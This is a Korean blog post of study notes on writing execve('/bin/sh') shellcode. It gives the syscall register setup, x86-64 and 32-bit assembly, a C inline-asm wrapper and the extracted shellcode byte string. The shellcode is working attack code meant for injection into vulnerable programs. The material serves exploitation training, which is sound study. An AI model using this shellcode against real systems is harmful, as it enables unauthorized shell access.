728x90
반응형
shell : 운영체제에 명령을 내리기 위해 사용되는 사용자 인터페이스
kernel : 운영체제의 핵심 기능을 하는 프로그램
shell 획득 → 시스템 제어 → 시스템 해킹 성공
execve shell code
임의의 프로그램을 실행하는 shell code → 서버의 shell을 획득할 수 있음
execve("/bin/sh", null, null)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
- rax : 0x3b
- rdi : "/bin/sh"
- rsi : NULL
- rdx : NULL
* NULL : xor register register
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
> 구현한 어셈블리 코드
execve shell code compile
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
shellcode 추출
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
> shellcode.asm
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
reference
- Dreamhack SystemHacking > ExploitTech : Shellcode
728x90
반응형
'Hacking > Pwnable' 카테고리의 다른 글
[Mitigation] NX (0) | 2024.08.25 |
---|---|
[Mitigation] Stack Canary (0) | 2024.08.24 |
gdb를 pwntools와 디버깅하기 (0) | 2024.07.26 |
[Memory Corruption] Stack Buffer Overflow (1) | 2024.01.29 |
[Exploit] ShellCode(1) - orw shell code (1) | 2024.01.26 |